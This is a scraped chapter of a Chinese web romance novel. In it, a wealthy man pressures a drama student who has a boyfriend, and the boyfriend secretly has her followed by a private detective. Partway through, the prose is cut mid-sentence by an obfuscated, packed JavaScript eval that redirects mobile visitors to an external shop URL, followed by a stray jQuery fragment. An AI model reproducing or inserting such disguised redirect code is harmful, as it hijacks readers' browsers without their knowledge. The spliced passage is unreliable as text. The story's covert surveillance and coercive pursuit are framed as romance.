文趣网 > 都市小说 > 自厌[强取豪夺] > 7. 向日葵
    卓尔在他的审阅下摸出几瓶亮晶晶的指甲油,钴蓝、黛青、藕粉、浅橙。

    陈润生勾唇,坐着身体,目光落在她干净圆润的指甲上:“喜欢怎么样不涂?”

    其实昨晚上涂过了,这种指甲油遇到温水就能卸掉,特制的,不伤指甲。

    她喜欢涂指甲油不是因为好看,只是一种精神陷入虚无时的寄托,急切地需要找个锚点,钉住那些源源不断滋长的霉菌。

    鲜亮的指甲油在灯光下泛着亮晶晶的色泽,只要一直涂,就好像永远也不会染上空气中看不见的,肮脏的物质。

    “和衣服颜色不太搭。”胡乱编了个借口,用以打发他的随口一提。

    陈润生打量她,外层黑色不规则裁剪的及膝吊带裙,内搭白色柔光百褶纱长裙,乌发高高挽起,一支桑木素簪斜斜插入固定。

    他好像看不见她的敷衍,挑了个折中的颜色:“那个颜色可以,试试?”

    不等卓尔回应,自顾捡了钴蓝色指甲油把在指尖。

    旋开,水果的甜香泛软勾着嗅觉,陈润生缩小双方之间的间隔。

    “我帮你?”

    他的行为太自然了,卓尔不得不做些什么,企图拉回失掉的阵地。

    “不用麻烦您。”她本来就没想涂。

    陈润生绕过她竖起的防御,游刃有余戳破她不堪一击的盾。

    “不麻烦,我喜欢帮你涂。”

    一道惊雷在万里晴空轰然炸开。

    像炸毛的刺猬,再度提醒,“陈先生,我有男朋友了。”

    陈润生面色如常,仿佛她刚才说的只是一件再普通不过的事情,“那就辛苦他多照顾你一阵了。”

    卓尔一拳打在棉花上,陈润生像一团水,絮絮地,柔柔地,包容一切,也吞并一切。她用尽全力的一击,最后徒劳地铩羽而归,水花也没渐起。

    她的攻击于他来说不痛不痒、不值一提。

    对峙是一场回合制游戏,卓尔的先手牌出掉,接下来是陈润生的主场。

    他接上没画句号的话,“我想给你涂,不会在意你有没有男朋友,你明白吗?卓尔。”

    陈润生本想缓缓图之,徐徐谋之,小姑娘涉世未深,想来一时半会儿接受不了过于直白的撩拨。

    没关系,他可以收敛所有不符合她世界里未曾生长出的手段,挖个坑埋起来,等待遇泽发芽,然后长成参天大树。

    按照她纯净世界的步骤扎根,矫饰出虚假的绅士表象,他没做过,没有这方面的经验。

    但应该不难,毕竟一开始就伪装得很好。

    他的话炸开,淋了卓尔满身,车内冷气开得很足,卓尔呼吸不受控制溢出,像被扎破的气球,瘪瘪地贴合。

    他不是没看到她瞬间惊愕的瞳,明媚干净的眼睛里似乎有什么东西在缓缓崩塌。

    白色象牙塔很好地保护了她十九年,他也不想打破的,毕竟是她赖以生存的巢穴。

    但她的壳收得太紧,得先破一破,加之他耐心又不是很足。

    温水煮青蛙循序渐进不是他的风格。

    他吓到她了,却不做收敛,也没抱歉的意思。

    “请您以后不要再讲这种话。”卓尔收起指甲油坐得板板正正,脸上写满严肃,淌过陈润生逸散的不知收敛的靡艳,眼神坚定地捍卫自己。

    陈润生指尖轻轻滑过指甲油圆润的玻璃瓶,和她的严肃正经截然相反,他眼里含着点儿卓尔抗拒的侵略性。

    直白不加掩饰,他对她有所图。

    眸光漆黑如稠软温湿的涂料,看人总是带着几分攻击性,当他眼睛平静扫视过时像在剥衣服,又像在剥皮囊地下寄生的魂。

    “还有以后啊,可我怎么觉得你今天回去就会拉黑我。”陈润生调子压得很低,朦胧地裹着她,卓尔的轮廓在虚化。

    她的确是这么想的,今后也没再见面的必要。

    今天是最后一面才好。

    但在他的车上,卓尔认识到陈润生佼好面皮下的恶劣,她不敢跟他对着来。

    陈润生非要个答案:“你会吗?”

    卓尔直视她,“如果您不继续说那些话。”

    陈润生往后靠在真皮背椅上,整个人是散的,语气也是散的,断在卓尔耳道里。

    “什么话啊?”

    她的眼睛瞪圆,唇抿成一条直线,双眼之上的两颗朱红小痣跟随眼部线条拨高。

    陈润生捻着指尖,没由来地滋长空兀的潮,像笼中的蓝雀鸟,没有重量,没有鸣叫,令什么东西变了形。

    抖出一支烟,也不抽,两指夹着,指尖细细地磨。

    “不符合伦理道德的话。”

    他低头,卓尔全貌投射到他的视网膜里,手指收不住力,那支烟悲惨地断成两截。

    “圣贤书读得挺好。”她清清泠泠遗世独立的模样反倒显得他是个披着人皮的斯文败类,衣冠禽兽。

    就挺不是人。

    指甲油拧紧,食指勾开卓尔的包,隔空丢进去,清脆撞击声反弹出来,结束了他们之间没有结果的交谈。

    一路无话。

    临到校时卓尔手机突兀响起。

    是陈悬雨的来电。

    昨晚视频时陈悬雨明里暗里摸清楚了她今天的行动轨迹,这会儿卡着点给她打电话。

    名为关心,实则查岗,但他会做得小心翼翼滴水不漏。

    不能被发现,因为会被厌烦。

    卓尔挂掉电话切到微信界面,食指飞快敲击屏幕,简单表明自己已经解决好事情并在回校的途中。

    陈悬雨立即嗅到一丝不同寻常的异常,像外出捕猎的狼回来后发现幼崽身上,洞穴里有其他动物留下的气息。

    有人入侵了,在他的眼皮子底下。

    雄性散发的恶心的味道。

    陈悬雨躺在沙发上,视线放空铺在洛可可风格的天花板上,梦幻的画风填满他枯寂的神经,线条艳丽支撑起颓圮坍塌的骨骼。

    好该死啊!!

    他看着那条信息,眼神阴郁得化不开。

    乖觉回复:【好!我给你点了吃的。】

    益生菌酸奶,蔬菜沙拉。

    膳食纤维加益生菌的搭配,可以促进肠道蠕动。

    尔尔怎么能吃别人的东西呢?

    他们不配的。

    手机的光刺破漆黑的瞳底,陈悬雨补充。

    【因为担心你吃不饱。】

    退出和卓尔的聊天框,找到那个骷髅头像。

    【别让她发现。】

    一支手脚很干净的私家侦探,他不得不这样做,他的女朋友太单纯,外面游走的都是孤魂野鬼,容易被盯上。

    他必须严防死守,一切未知的,难测的,不稳定的因素都不能发芽。

    提前遏死才是上上之选。

    古斯特缓缓停在南门,卓尔收起手机,司机绕过来开门。

    热风撕破一道口子,张牙舞爪灌进来。

    卓尔下车,车门关上最后一刻陈润生的声音不设防箍住她。

    “我真觉得你跟你男友久不了。”

    她一字一句吐字,盖章似的:“我们会白头偕老。”

    “真不好说。”

    陈润生视线搁浅在卓尔睫毛根部,像金鱼漂浮在日光下,晃得他不得不眯起眼睛一寸一寸地看过去。温火灼蜡一样,烫得卓尔快速甩上车门转头离开,裙摆在笔直的腿上绽开大朵大朵的花。

    回到寝室卓尔第一件事就是拉黑陈润生,桌上躺着一捧热烈的向日葵,明媚的生命力驱散一天的不快。

    低头嗅了嗅,抽了几支插在新买的陶瓷花瓶里。

    陈悬雨每天都会买一束捧向日葵送给她,希望她永远有热烈昂扬、积极向上走的生命力。

    太阳花会替她驱逐所有不好的东西,一切阴暗发霉的实物永远追不上她。

    五月在忙碌的训练中溜走,接连泡在练功房大半个月,卓尔和明峥精神上都有些疲惫。他们配合得很好,现在只差一些细枝末节需要慢慢揉。

    两人不约而同给自己放了一天假,决定下午去巩幸子新家打打牙祭,她最近搬新家,正好给她家增添点儿人气。

    自那次不欢而散后卓尔以为再也不会碰到陈润生,起码在学校。

    简单吃了点午餐摆拍发给周承霖,卓尔捧起今天的向日葵出门。

    不巧,在湖心亭的鹅卵石木质游廊碰上陈润生。

    他的身旁还有一名虞姬扮相的女孩,正叽叽喳喳说着什么。

    陈润生兴致缺缺,眉眼淡然得找不出人味。

    察觉到他的不耐,女孩兴味的诉说欲如遇到异常暴雨,火星子都被浇灭了。

    卓尔的头就差埋到向日葵里,与他擦肩而过时思忖该换条路的。

    陈润生隔着老远就看到了她,那么大一捧向日葵,他又不瞎。

    没想到她直接装没看到,鸵鸟一样躲起来。

    切到微信随意发了个问号,意料之中的红色感叹号。

    就挺气人。

    那天保证得言之凿凿,眼神坚定得想要入党,感情回头就给他拉黑。

    小骗子。

    “生哥,你看什么?”

    陈润生没搭话,视线遥遥追着卓尔咬。

    “喜欢戏曲就好好学,学校、导师都给你配齐了,别干三天打鱼两天晒网的事儿。”

    梁浅缩了缩脖子,今天不知怎么了,这位突然答应提出要来她学校转转。

    以前不是没邀请过,消息发出去连个水花也没溅起。

    巩幸子唯爱下厨,言道下厨能净化心灵,比揍人还管用。

    毕竟揍人有风险。

    打赢坐牢,打输住院。

    人民币兜底。

    两位学戏曲的嗓子金贵,对食材很有讲究。忌辣,忌酸,忌甜,忌油腻荤腥。

    胃跟着他们真是受罪,工作一辈子啥好东西也捞不着。

    卓尔明峥负责吃,一顿饭吃到太阳落山,明峥被赶去收拾厨房扫尾,卓尔和巩幸子怯意窝在沙发上打游戏。

    巩幸子酷爱厮杀的竞技类游戏,最近一款刚上线的枪战游戏成为她的新宠,每晚都要在绝密航天清完图才肯安然入睡。

    “Unbelievable!”

    “BonusTime!”

    巩幸子和队友封烟等待撤离,偏头扫了眼卓尔玩了初中三年高中三年以及大学一年的开心消消乐。

    默默给她竖起大拇指,在巩幸子眼里这款游戏堪比旧黄历时期的老家具。打发时间也轮不上它,卓尔在某些方面还停留在那个时间走得缓慢的年岁。

    卓尔周末四点才从巩幸子家返回学校,明峥去给朋友过生日昨天吃完饭就开着车走了。

    大二学生可以申请外宿,继父在开学就已经着手准备给她找房子的事。

    耗时好几个月终于物色到满意的,地理位置、周边环境、光照通风、水电硬件、物业服务通通必须达标。

    尤其是隔音,卓尔专业比较特殊,为了不打扰到楼上楼下,和房东商量后价钱上了隔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912623|213188||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    音棉。

    房东是个七十多岁的老太太,头发银白,打扮时尚,笑起来和蔼可亲待人热情。

    这房子是她年轻时自己闯荡社会攒下的第一桶金买的,后来事业有成又买了好几套,这套就渐渐闲置。

    也不知道继父是怎么找到的,很顺利就租下来了。

    卓尔最近在准备搬家的事情,寝室住了一年多,东西攒了不少,女孩子零零碎碎的东西最是难收拾,一个二十八寸的行李箱里面啥都塞,导致的结果就是帮忙搬家的明峥闪了腰。

    学校不允许外校人员随便进入,所以他们不得不先自己搬到校门口。

    最后一趟搬完,卓尔饿得不行,拐了道去食堂。

    她不想那么快回去。

    简单填了肚子卓尔打算在学校转转,以后的行动轨迹很难再有多余的时间看校园了。

    大剧场里面有学长学姐在排戏,是她很喜欢的一出折子戏,卓尔找了靠过道的座位,刚坐下旁边笼罩一层阴影。

    一道极淡的乌木沉香飘进鼻腔,一抬眼,旁边坐了个人。

    陈润生淡淡扫她一眼,也没说话,只是不发一言盯着她侧脸。

    他的视线太重,压在身上沉甸甸的,卓尔不由自主坐直。

    后面实在有些挨不住,主动和他打了招呼。

    陈润生不吭声,两人之间就隔着两臂距离。

    卓尔几乎败下阵来,想要离开这儿,陈润生这才开腔。

    “好巧。”

    是挺巧的,随便逛都能遇到。

    “陈先生也来听戏?”

    陈润生对戏曲兴致不高,要不是家里长辈爱,从小耳濡目染之下,最经典那几出戏里的人物他知道个大概。

    譬如第一次见面时她所扮演的白娘子。

    一席白色戏袍,迈着古典优雅的步子施施然印在后视镜,大片火烧云挂在她身后。

    戏里的白娘子打破次元壁,一脚踏入这滚滚红尘物欲横流的世界。

    可是这里没有许仙。

    陈润生去寻她的眼睛,蜻蜓点水略过,最后停留在卓尔的眼尾痣上。

    “顺便。”苍白的回答。

    “你们学校挺大。”他把她当成锚点,发现了就再也不肯移开。

    卓尔坐立难安,不想陷入难捱的尴尬只得主动找话题。

    “第一次来逛国戏首选大剧院算是来对地方了。”这儿是最能展现学校特色的地方,很多上面重要的会议、赛事都在大剧院办。

    这话陈润生只认同一半。

    “是不是第一次你不知道?”

    他在含沙射影她,卓尔立即想到那天游廊上的以花挡脸擦肩而过。

    不过她是断然不会接这话的,否则只怕会牵一发而动全身,他还在她的黑名单里躺着。

    最好别发现,发现了也别现在点出来。

    装傻充愣,漂亮的杏眼洋溢着天真无辜:“我确实没在国戏见过您。”

    陈润生:“确实是第一次来,你们学校还有哪些地方好逛,推荐下?”

    卓尔一口气说了十几个地方,想着他可能不熟悉,重新捡了离大剧院比较近的几个地方着重介绍。

    “听起来不错。”

    “一起去?”

    鉴于之前的事,卓尔有点怵他,“这次恐怕不行。”

    陈润生挑目:“陪男朋友?”

    卓尔点头:“我们约好了,去吃饭。”

    “这样啊。”陈润生扯唇,戏谑藏于眼底,似是懒得揭穿她拙劣的谎言,尾音拖得绵长,听起来就不像信了。

    “去哪儿吃?我送你们过去,正好,我见见他。”

    釜底抽薪一般,硬生生截断卓尔给自己铺的路。

    “不麻烦您,要不我给您找个导游?或者让您朋友带您逛逛?”

    陈润生勾唇,视线转移阵地,重新换了个地方继续驻扎,意有所指,“人好像有在谈的。”

    像踩到正在酣睡的猫尾巴,卓尔恨自己的灵光一闪,蹲下去顺猫毛。手还没碰倒头顶,先挨了一爪子。

    他追上去,好学生似的,带着求知欲:“你觉得我能追她吗?”

    很惊悚的问题,卓尔放在膝盖上的手紧了紧,斟酌一下,“应该,或许不能吧。”

    陈润生:“为什么不能追?”

    “您不是说她有男朋友?”

    陈润生视线闯进她漂亮的眸子里,在她的黑色瞳孔中找到自己的倒影。

    无所谓的语气,“我追我的,关她男朋友什么事?”

    她被扎了一下,对于陈润生无法言说的价值观表示沉默。

    话题越来越偏了,脱离原本轨道,朝着背德之路行驶。

    “好像不太好,会挨骂。”

    毕竟小三人人喊打,就算他是陈润生也不能免俗。

    陈润生气息压低,似有若无围着卓尔,等她分心时一溜烟扎紧皮肤里。

    入侵的感觉又来了。

    卓尔脖子小弧度后仰,不动声色拉开距离,他的气息太过纠缠不休,她逃无可逃。

    刚要假意安慰,谁知他话锋一转:“那你呢?能追吗?”

    卓尔周围挤满了粘人的泡泡,她一动,接二连三破裂,水雾趁机跳到她身上,吸着她管着道德那把锁。

    “当然不行!我男朋友在英国,马上就回来了。”

    “没关系。”卓尔的心跳刚平缓,咻而高高升空。

    陈润生淡淡回,幽幽地,释放她没接触过的败德:“有男朋友也没关系。”